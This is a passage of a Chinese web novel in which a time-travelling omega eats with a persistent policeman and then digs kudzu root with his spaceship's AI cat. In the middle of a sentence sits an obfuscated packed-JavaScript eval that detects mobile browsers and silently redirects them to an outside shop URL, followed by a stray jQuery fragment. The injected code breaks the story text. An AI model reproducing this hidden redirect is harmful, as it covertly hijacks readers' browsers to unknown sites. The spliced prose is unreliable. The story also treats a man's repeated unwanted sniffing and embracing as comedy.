皮薄得透光、能隐约看见里面肉馅的大肉包子。 吸饱了汤汁的梅菜覆盖着肥瘦相间的肉片,颤颤巍巍,软糯,咸香,每一口都是踏实的满足。 吃到了从未吃过的美食,楚虞只觉过去十九年的人生都白活了,他应该出生在1957年,而不是未来星际时代! 他吃得太过着急,筷子用的不大熟练,一块红烧肉在筷尖打转,打滑了好几次,最后还是谢磐石看不惯,伸筷子帮忙给他夹到碗里,“慢慢吃。” “谢谢!”楚虞幸福星星眼。 到最后,谢磐石没吃几口,不知何时渐渐停了筷子,若有所思的看着楚虞埋头干饭。 东扒拉一筷子,西扒拉一筷子。 吃饭时楚虞肉眼可见地快乐满足,偶尔抬头咀嚼,腮帮子鼓出一块,漂亮的眼眸眯了起来,嘴角沾着酱汁,下巴沾了米粒。 这模样看着有些蠢笨,却意外地明亮生动,让人挪不开眼。 身上有他喜欢的玫瑰花香,皮肤雪白发亮,一双葡萄似的眼眸,隐隐露出来的锁骨,修长匀称的手骨,腰肢似乎也很细韧…… 不得不说,统统长在了他的审美点上。 可惜了,性别不对。 谢磐石面无表情的想。 6.第 6 章 楚虞吃撑了。 他高估了自己的饭量,也低估了谢磐石的饭量。 剩下一大桌子的菜,包括三张脸盆大的葱花烙饼,几乎全部进了谢磐石的肚子,连一滴汤汁都不曾浪费。 从国营饭店出来,楚虞拍拍肚皮,止不住的打嗝,“真好吃,明天我继续——嗝——下馆子!” 谢磐石眉眼抽动,没应声,生怕明天又得当请客吃饭的冤大头。 两人不知不觉走进了幽静的青砖长巷。 盛夏的风带着潮湿与热浪,迎面吹了过来,不远处出现一排柳树,风把树叶吹得哗哗作响。 在潮热的夏风中,谢磐石又一次闻到了来自楚虞身上、浓郁的玫瑰花香。 “好香。”他闭上眼睛再度沉迷。 “……”楚虞脚步停顿,闭了闭眼,看在一顿饭的交情上,也不是不能忍。 虽然不知道为什么谢磐石可以闻到omega的玫瑰花香,但不得不承认,他是目前为止唯一的例外。 楚虞观察谢磐石的神情,发现他只是单纯的沉迷花香,并没有Alpha对omega难以压抑的汹涌淫.靡的占有欲。 这样就很好。 至少不会让omega感到恐惧不安。 这也是楚虞能够轻易原谅谢磐石对他动手动脚耍流氓的原因。 然而两分钟过后,楚虞立马决定收回原谅谢磐石的想法! 因为这狗东西得寸进尺越来越靠近,甚至弯下腰,高挺的鼻梁贴着楚虞后颈蹭来蹭去,毫无距离毫无分寸! “玫瑰花好香……” “!” 楚虞头皮发麻忍无可忍,使劲推开狗脑袋,痛心疾首骂他,“谢磐石同志,你懂不懂什么是安全礼貌的距离?都说了别动手动脚,别靠我那么近!” 谢磐石置若罔闻,一边用力嗅闻一边低声嘟囔,“你不对劲,你一定不是人……” 楚虞冷不丁被他开除人籍,没好气的骂,“我谢谢你,让你失望了,我生下来就是人!” 青砖长巷安安静静。 仗着没有外人,谢磐石肆无忌惮,使着巧劲将楚虞拥进怀里,对着玫瑰花香味道最浓郁的后颈嗅嗅闻闻。 “谢磐石同志!” 楚虞决定和他分道扬镳,“谢谢你请我吃饭,我还有其他事,你可以走了。” “不走。” “有种再说一遍,你走不走?”楚虞试图给他机会。 “不走。”谢磐石不管不顾继续嗅闻玫瑰花香。 楚虞深吸一口气,从口袋里掏出一节轻巧袖珍、方便omega随身携带的防狼电击棍。 谢磐石不认识电击棍,但本能地眉头一跳,有种不妙的预感。 然而不等楚虞开始启用防狼电击棍,远方隐隐约约传来着急的呼喊声,“谢公安,谢公安……” “谢叔叔……” 谢磐石眉头蹙起,放开了楚虞,抬头望去。 楚虞当然也听到了喊声,摁着电击棍的手指微微一顿,“是不是找你的呀?” 很快,巷子尽头出现两个佩戴红领巾的小学生,年约七八岁,一脸婴儿肥稚气未脱的模样。 乍然看见谢磐石,两小孩眼睛发亮,喘着粗气,急匆匆跑了过来,“谢叔叔,我们找你半天了,爸爸说局里有电话找你,让你快回去。” 谢磐石认识这两小孩,在公安大院里长大的。 “哪来的电话找我?”他低头问。 “说是京都来的电话,”小孩儿挠了挠头,“好像很着急,说什么朵朵摔了,站不起来……” 听到这句,谢磐石脸上笑意开始收敛——朵朵是他同母异父的亲妹妹,从出生起就放在他身边嗷嗷大哭,逼着他不得不学着带娃。 小丫头自幼古灵精怪,调皮捣蛋几乎要上天,惹得谢磐石一度十分烦躁想把妹妹亲手扔出门去。 毫不夸张地说,陈朵朵几乎是谢磐石一点一点拉扯长大的。 她今年十六岁,正在大院里上高中呢,好端端的能出什么事? 谢磐石脸色阴沉,“走,先回去。” 见他抬脚要走,楚虞连忙摆手,“那你快回去,我也忙着呢。” 说罢楚虞转身就跑。 谢磐石脚步微顿,没说话也没有阻拦,目光晦暗不明,远远望着楚虞匆匆逃窜的背影。 “谢叔叔。”脚边的小孩儿催促。 “没事,我们走。”谢磐石终于收回了视线。 回去公安局的路上,他想着楚虞就在淮山二矿,人是丢不了,他若是想去找,随时都能找到。 楚虞浑然不知谢磐石惦记着找他呢。 一口气逃出青砖长巷,终于摆脱了阴魂不散的狗男人,楚虞大松一口气,左右张望,随机挑了一个偏僻无人的巷子。 走进小巷,身影无声无息消失在波动的空气中。 上了飞船,楚虞叹息躺平,“还是上面凉快啊,外头快热死了。” 屏幕里的008小猫恨铁不成钢,指指点点:“建议小主人尽快习惯当地盛夏高温天气,少上飞船贪凉——毕竟明天就要上班了!” 楚虞哼哼一声,不理它,闭上眼准备睡懒觉。 008不许他睡,“想好怎么赚钱了吗?找到哪里租房了吗?” “急什么?”楚虞扯着被子翻身嘟囔,“明天再说嘛,先睡觉,让我睡一觉。” 008不语。飞船陡然拔升高度,下一秒急剧坠落,左晃晃,右摇摇,上演万米高空惊险大摆锤。 “小八!”楚虞晕头转向。 “还睡吗宝宝?”008亲切问候。 “……” “不睡了不睡了。”楚虞欲哭无泪起床,做主人做到这份上,说出去都丢人。 008亲切教导,“亲,建议您开动脑筋主动思考,主动想想怎么挣钱呢。不能养成依靠008喂饭的不良习惯呢。” “……”楚虞抹脸,“户口迁移证明都帮我搞了,顺便帮我想想怎么搞钱呗。” “不可以呢亲亲。《宇宙智脑通用法》明确规定,禁止机械智脑采取任何手段参与人类经济活动呢。” 不是,有这条离谱规定吗? 楚虞一时想不起来,但这不重要,既然挣钱靠不上008,那就只能靠自己了。 他仰头望向天花板,皱着眉头努力思考—— 挣钱嘛无非两条路,要么上班挣工资,要么去自由市场做买卖,交易挣差价。 众所皆知,1957年从上到下穷得叮当响,物资有限,讲究统购统销,计划分配,严禁市场自由交易。 所以,这年头有黑市吗? 这问题的答案,楚虞想都不必想,任何时间任何地点,黑市不可能不存在。 未来星际都有黑市交易存在呢。 “小八!告诉我哪里有黑市!” 008欣慰解答:“经飞船扫描,兴安县确实存在几个固定的黑市交易地点……咔……咔咔……” 楚虞:“……?” 008不信邪,“交易地点如下…咔咔……” 连续两次自动消音,楚虞再蠢也该知道是怎么回事了。 “我知道,”omega声音无比哀怨,“又是那什么宇宙通用法,禁止智脑参与人类经济交易是吧?而且提到了黑市,算是违法犯罪,触发了你的核心底层代码?” 008沉默,用无声回应肯定。 楚虞气笑了,“行,谁说做买卖非要去黑市?我不去黑市也能卖东西挣钱!” 那么问题来了,该卖什么挣钱呢? 楚虞在飞船上左看右看,试图找出一两件有价值的、能拿出去卖钱的物件。 小熊闹钟?会飞会跑会咕咕叫,太先进了,不行。 智能控温碗筷?不行。 三维打印机?更见不得人。 医疗舱?别想了。 …… 翻遍飞船,楚虞沮丧地回到床上,“小八,我没有能拿出去卖的东西,不如洗洗睡吧。” 008咳咳,暗示他:“吃。” “吃,吃什么?” “吃!”语气再次恨铁不成钢。 “吃?”楚虞挠头,“小八你是说卖吃的吗?飞船上的营养液都没了,没有能卖的吃食啊。” “山,山上。”008努力提醒。 “什么山?”楚虞回不过神,显得笨笨的。 “……亲,要不还是洗洗睡吧。”008放弃了。 楚虞沉默,和大屏幕上无奈躺平的008小猫面面相觑。 摊上一个笨蛋主人。 008搓脸叹息,决定做最后的努力,进一步降低飞船高度,力求让楚虞能够清晰看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537783|203828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到飞船舷窗下绿意葱葱连绵不断的山峰。 以及山峰下鸟语花香,万物生长…… 直到飞船几乎降落,一只黑壮肥硕的野猪在远处出现。 看到野猪,楚虞那笨笨的脑袋终于迸发灵光,“我知道了!抓深山上的野猪野鸡卖肉换钱!” 008同样激动,“亲,抓捕野生动物食用,有感染寄生虫和未知病毒风险呢。” “……”楚虞没好气,“这不行那不行,我不抓野猪,还能卖啥换钱嘛?” 飞船降落着地,大门敞开,参天大树拔地而起,树上爬满藤蔓,绿意葱葱,枝叶繁茂。 大屏幕适时亮起,开始科普,“葛根藤蔓通常长着三片大叶子,喜欢缠绕在树上。” “眼前的藤蔓就是葛根藤!葛根,又称土里挖出来的粮食,富含淀粉,饱腹感极强。” “一根野生葛根通常重几十斤,这里是深山深处,人迹罕至的地方嘛,葛根应该能长到几百斤。” 几百斤葛根? 楚虞眼睛发亮,“所以,葛根挖出来能卖钱!论斤卖!” 008淡定点头,“对的。” “那还等什么?冲啊!” 楚虞抄起铲子就冲了出去,下一秒折返回来,脸颊苍白,吓得魂不附体的,“有有有有有有蛇。” 还不止一条,是一窝密密麻麻的蛇啊。 楚虞差点踩到蛇窝,吓得魂都飞了。 008无语,操控飞船发出驱逐信号,保证十分钟后方圆十里没有一只活的生物。 十分钟后,楚虞探头探脑,“小八,你确定外面没蛇了吗?安全吗?” “安全,绝对安全!” 楚虞小心翼翼踏出飞船,跪到距离最近的树根下,拿着铲子兴冲冲开挖葛根。 半小时后,楚虞累得呆头呆脑,顺藤挖出一截深达两米的葛根主根。 “小八,”omega语气恍恍惚惚,“我记得飞船上好像有配备炸弹,可以帮我精准炸出土坑,挖出葛根吗?” “抱歉,不可以呢。”杀鸡焉用牛刀。 “那你能帮我挖吗?” “抱歉,智脑008没有机械实体。”008有点同情了。 “那什么,激光切割土坑,让土壤松软一些,好挖一些,也不行吗?求你了嘛小八,帮帮我嘛。” omega累得止不住撒娇。 008:“……我试试。” 008操控飞船发出数道激光,将楚虞正在开挖的土地来回切割,三秒后,成功得到了一大片松软沙壤。 “这样就好挖了嘛。”楚虞惊喜开心。 不费吹灰之力,挖开松松软软的土壤,深埋地下的葛根和沙土一块碎成了粉末,浑然分不清谁是葛根谁是沙。 楚虞:“………” 008:“………” 楚虞笑容僵硬,放弃幻想,重新换了场地,老老实实挖葛根。 三小时后,楚虞满头大汗,两腿颤颤,戴上反重力手环,抱着切割成块、一共五百斤左右的新鲜葛根回到飞船上。 “小八,我死了。”他在地上躺成饼。 “……” 008安慰他,“小主人真棒!按照当下的物价,这五百斤葛根至少能卖…咔……咔咔。” 楚虞抬手,有气无力地说道:“好了不要再咔了。我睡一会,一会儿天黑了记得叫醒我,我去城里卖葛根。” 008不语,及时调出“手工编织背筐”的教程,呈现到大屏幕上。 楚虞只瞄了一眼就吓得收回视线,四肢酸软,颤颤巍巍爬上温暖舒适的大床,“干不动了,真干不动了。” 砍竹子,劈竹子,编竹筐…… 样样都是力气活儿,即使戴上反重力手环也省不了多少劲,简直要命! 单是挖葛根,他的手掌心这会儿都磨得又红又疼呢。 虽然他一直自诩omega独立自主,上班挣钱不比Alpha差,但——体力活太难了,太难了! 更让omega绝望的是,在1957年,好像处处都是体力活。 想到明天就要开始下井挖煤的日子,楚虞咬着被子,眼泪都快出来了,“小八,不如我找个Alpha吧,让他干活,让他挣钱,咱考虑做个贤妻良夫,生儿育女也行的。” 008:“……”